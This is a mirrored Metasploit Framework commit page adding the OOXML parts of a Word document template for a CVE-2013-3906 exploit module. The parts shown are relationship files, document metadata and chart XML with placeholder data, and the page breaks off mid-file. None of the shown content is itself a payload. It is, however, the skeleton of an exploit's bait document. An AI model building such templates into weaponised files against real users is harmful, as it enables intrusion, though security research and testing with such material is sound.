mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-09-04 20:18:27 +02:00
Initial commit of CVE-2013-3906
This commit is contained in:
parent
647c867c2d
commit
94e13a0b8a
6
data/exploits/CVE-2013-3906/_rels/.rels
Executable file
6
data/exploits/CVE-2013-3906/_rels/.rels
Executable file
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
|
||||
<Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/>
|
||||
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/>
|
||||
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
|
||||
</Relationships>
|
19
data/exploits/CVE-2013-3906/docProps/app.xml
Executable file
19
data/exploits/CVE-2013-3906/docProps/app.xml
Executable file
@ -0,0 +1,19 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes">
|
||||
<Template>Normal.dotm</Template>
|
||||
<TotalTime>4</TotalTime>
|
||||
<Pages>1</Pages>
|
||||
<Words>217</Words>
|
||||
<Characters>1238</Characters>
|
||||
<Application>Microsoft Office Word</Application>
|
||||
<DocSecurity>0</DocSecurity>
|
||||
<Lines>10</Lines>
|
||||
<Paragraphs>2</Paragraphs>
|
||||
<ScaleCrop>false</ScaleCrop>
|
||||
<Company>home</Company>
|
||||
<LinksUpToDate>false</LinksUpToDate>
|
||||
<CharactersWithSpaces>1453</CharactersWithSpaces>
|
||||
<SharedDoc>false</SharedDoc>
|
||||
<HyperlinksChanged>false</HyperlinksChanged>
|
||||
<AppVersion>12.0000</AppVersion>
|
||||
</Properties>
|
8
data/exploits/CVE-2013-3906/docProps/core.xml
Executable file
8
data/exploits/CVE-2013-3906/docProps/core.xml
Executable file
@ -0,0 +1,8 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<dc:creator>Win7</dc:creator>
|
||||
<cp:lastModifiedBy>Win7</cp:lastModifiedBy>
|
||||
<cp:revision>1</cp:revision>
|
||||
<dcterms:created xsi:type="dcterms:W3CDTF">2013-10-03T22:46:00Z</dcterms:created>
|
||||
<dcterms:modified xsi:type="dcterms:W3CDTF">2013-10-03T23:17:00Z</dcterms:modified>
|
||||
</cp:coreProperties>
|
4
data/exploits/CVE-2013-3906/word/charts/_rels/chart1.xml.rels
Executable file
4
data/exploits/CVE-2013-3906/word/charts/_rels/chart1.xml.rels
Executable file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
|
||||
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/package" Target="../embeddings/Microsoft_Office_Excel_Worksheet1.xlsx"/>
|
||||
</Relationships>
|
4
data/exploits/CVE-2013-3906/word/charts/_rels/chart2.xml.rels
Executable file
4
data/exploits/CVE-2013-3906/word/charts/_rels/chart2.xml.rels
Executable file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
|
||||
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/package" Target="../embeddings/Microsoft_Office_Excel_Worksheet2.xlsx"/>
|
||||
</Relationships>
|
4
data/exploits/CVE-2013-3906/word/charts/_rels/chart3.xml.rels
Executable file
4
data/exploits/CVE-2013-3906/word/charts/_rels/chart3.xml.rels
Executable file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
|
||||
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/package" Target="../embeddings/Microsoft_Office_Excel_Worksheet3.xlsx"/>
|
||||
</Relationships>
|
4
data/exploits/CVE-2013-3906/word/charts/_rels/chart4.xml.rels
Executable file
4
data/exploits/CVE-2013-3906/word/charts/_rels/chart4.xml.rels
Executable file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
|
||||
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/package" Target="../embeddings/Microsoft_Office_Excel_Worksheet4.xlsx"/>
|
||||
</Relationships>
|
4
data/exploits/CVE-2013-3906/word/charts/_rels/chart5.xml.rels
Executable file
4
data/exploits/CVE-2013-3906/word/charts/_rels/chart5.xml.rels
Executable file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
|
||||
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/package" Target="../embeddings/Microsoft_Office_Excel_Worksheet5.xlsx"/>
|
||||
</Relationships>
|
4
data/exploits/CVE-2013-3906/word/charts/_rels/chart6.xml.rels
Executable file
4
data/exploits/CVE-2013-3906/word/charts/_rels/chart6.xml.rels
Executable file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
|
||||
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/package" Target="../embeddings/Microsoft_Office_Excel_Worksheet6.xlsx"/>
|
||||
</Relationships>
|
230
data/exploits/CVE-2013-3906/word/charts/chart1.xml
Executable file
230
data/exploits/CVE-2013-3906/word/charts/chart1.xml
Executable file
@ -0,0 +1,230 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<c:chartSpace xmlns:c="http://schemas.openxmlformats.org/drawingml/2006/chart" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
|
||||
<c:lang val="en-US"/>
|
||||
<c:chart>
|
||||
<c:view3D>
|
||||
<c:perspective val="30"/>
|
||||
</c:view3D>
|
||||
<c:plotArea>
|
||||
<c:layout/>
|
||||
<c:bar3DChart>
|
||||
<c:barDir val="col"/>
|
||||
<c:grouping val="standard"/>
|
||||
<c:ser>
|
||||
<c:idx val="0"/>
|
||||
<c:order val="0"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$B$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 1</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$B$2:$B$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>4.3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>2.5</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>3.5</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>4.5</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:ser>
|
||||
<c:idx val="1"/>
|
||||
<c:order val="1"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$C$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 2</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$C$2:$C$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>2.4</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>4.4000000000000004</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>1.8</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>2.8</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:ser>
|
||||
<c:idx val="2"/>
|
||||
<c:order val="2"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$D$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 3</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$D$2:$D$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>5</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:shape val="cylinder"/>
|
||||
<c:axId val="51657728"/>
|
||||
<c:axId val="69190400"/>
|
||||
<c:axId val="25292288"/>
|
||||
</c:bar3DChart>
|
||||
<c:catAx>
|
||||
<c:axId val="51657728"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="b"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="69190400"/>
|
||||
<c:crosses val="autoZero"/>
|
||||
<c:auto val="1"/>
|
||||
<c:lblAlgn val="ctr"/>
|
||||
<c:lblOffset val="100"/>
|
||||
</c:catAx>
|
||||
<c:valAx>
|
||||
<c:axId val="69190400"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="l"/>
|
||||
<c:majorGridlines/>
|
||||
<c:numFmt formatCode="General" sourceLinked="1"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="51657728"/>
|
||||
<c:crosses val="autoZero"/>
|
||||
<c:crossBetween val="between"/>
|
||||
</c:valAx>
|
||||
<c:serAx>
|
||||
<c:axId val="25292288"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="b"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="69190400"/>
|
||||
<c:crosses val="autoZero"/>
|
||||
</c:serAx>
|
||||
</c:plotArea>
|
||||
<c:legend>
|
||||
<c:legendPos val="r"/>
|
||||
<c:layout/>
|
||||
</c:legend>
|
||||
<c:plotVisOnly val="1"/>
|
||||
</c:chart>
|
||||
<c:externalData r:id="rId1"/>
|
||||
</c:chartSpace>
|
220
data/exploits/CVE-2013-3906/word/charts/chart2.xml
Executable file
220
data/exploits/CVE-2013-3906/word/charts/chart2.xml
Executable file
@ -0,0 +1,220 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<c:chartSpace xmlns:c="http://schemas.openxmlformats.org/drawingml/2006/chart" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
|
||||
<c:lang val="en-US"/>
|
||||
<c:chart>
|
||||
<c:view3D>
|
||||
<c:rAngAx val="1"/>
|
||||
</c:view3D>
|
||||
<c:plotArea>
|
||||
<c:layout/>
|
||||
<c:bar3DChart>
|
||||
<c:barDir val="col"/>
|
||||
<c:grouping val="clustered"/>
|
||||
<c:ser>
|
||||
<c:idx val="0"/>
|
||||
<c:order val="0"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$B$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 1</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$B$2:$B$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>4.3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>2.5</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>3.5</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>4.5</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:ser>
|
||||
<c:idx val="1"/>
|
||||
<c:order val="1"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$C$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 2</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$C$2:$C$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>2.4</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>4.4000000000000004</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>1.8</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>2.8</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:ser>
|
||||
<c:idx val="2"/>
|
||||
<c:order val="2"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$D$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 3</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$D$2:$D$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>5</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:shape val="pyramid"/>
|
||||
<c:axId val="71774208"/>
|
||||
<c:axId val="71776128"/>
|
||||
<c:axId val="0"/>
|
||||
</c:bar3DChart>
|
||||
<c:catAx>
|
||||
<c:axId val="71774208"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="b"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="71776128"/>
|
||||
<c:crosses val="autoZero"/>
|
||||
<c:auto val="1"/>
|
||||
<c:lblAlgn val="ctr"/>
|
||||
<c:lblOffset val="100"/>
|
||||
</c:catAx>
|
||||
<c:valAx>
|
||||
<c:axId val="71776128"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="l"/>
|
||||
<c:majorGridlines/>
|
||||
<c:numFmt formatCode="General" sourceLinked="1"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="71774208"/>
|
||||
<c:crosses val="autoZero"/>
|
||||
<c:crossBetween val="between"/>
|
||||
</c:valAx>
|
||||
</c:plotArea>
|
||||
<c:legend>
|
||||
<c:legendPos val="r"/>
|
||||
<c:layout/>
|
||||
</c:legend>
|
||||
<c:plotVisOnly val="1"/>
|
||||
</c:chart>
|
||||
<c:externalData r:id="rId1"/>
|
||||
</c:chartSpace>
|
230
data/exploits/CVE-2013-3906/word/charts/chart3.xml
Executable file
230
data/exploits/CVE-2013-3906/word/charts/chart3.xml
Executable file
@ -0,0 +1,230 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<c:chartSpace xmlns:c="http://schemas.openxmlformats.org/drawingml/2006/chart" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
|
||||
<c:lang val="en-US"/>
|
||||
<c:chart>
|
||||
<c:view3D>
|
||||
<c:perspective val="30"/>
|
||||
</c:view3D>
|
||||
<c:plotArea>
|
||||
<c:layout/>
|
||||
<c:bar3DChart>
|
||||
<c:barDir val="col"/>
|
||||
<c:grouping val="standard"/>
|
||||
<c:ser>
|
||||
<c:idx val="0"/>
|
||||
<c:order val="0"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$B$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 1</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$B$2:$B$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>4.3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>2.5</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>3.5</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>4.5</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:ser>
|
||||
<c:idx val="1"/>
|
||||
<c:order val="1"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$C$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 2</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$C$2:$C$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>2.4</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>4.4000000000000004</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>1.8</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>2.8</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:ser>
|
||||
<c:idx val="2"/>
|
||||
<c:order val="2"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$D$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 3</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$D$2:$D$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>5</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:shape val="pyramid"/>
|
||||
<c:axId val="50252800"/>
|
||||
<c:axId val="50255744"/>
|
||||
<c:axId val="71870208"/>
|
||||
</c:bar3DChart>
|
||||
<c:catAx>
|
||||
<c:axId val="50252800"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="b"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="50255744"/>
|
||||
<c:crosses val="autoZero"/>
|
||||
<c:auto val="1"/>
|
||||
<c:lblAlgn val="ctr"/>
|
||||
<c:lblOffset val="100"/>
|
||||
</c:catAx>
|
||||
<c:valAx>
|
||||
<c:axId val="50255744"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="l"/>
|
||||
<c:majorGridlines/>
|
||||
<c:numFmt formatCode="General" sourceLinked="1"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="50252800"/>
|
||||
<c:crosses val="autoZero"/>
|
||||
<c:crossBetween val="between"/>
|
||||
</c:valAx>
|
||||
<c:serAx>
|
||||
<c:axId val="71870208"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="b"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="50255744"/>
|
||||
<c:crosses val="autoZero"/>
|
||||
</c:serAx>
|
||||
</c:plotArea>
|
||||
<c:legend>
|
||||
<c:legendPos val="r"/>
|
||||
<c:layout/>
|
||||
</c:legend>
|
||||
<c:plotVisOnly val="1"/>
|
||||
</c:chart>
|
||||
<c:externalData r:id="rId1"/>
|
||||
</c:chartSpace>
|
110
data/exploits/CVE-2013-3906/word/charts/chart4.xml
Executable file
110
data/exploits/CVE-2013-3906/word/charts/chart4.xml
Executable file
@ -0,0 +1,110 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<c:chartSpace xmlns:c="http://schemas.openxmlformats.org/drawingml/2006/chart" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
|
||||
<c:lang val="en-US"/>
|
||||
<c:chart>
|
||||
<c:title>
|
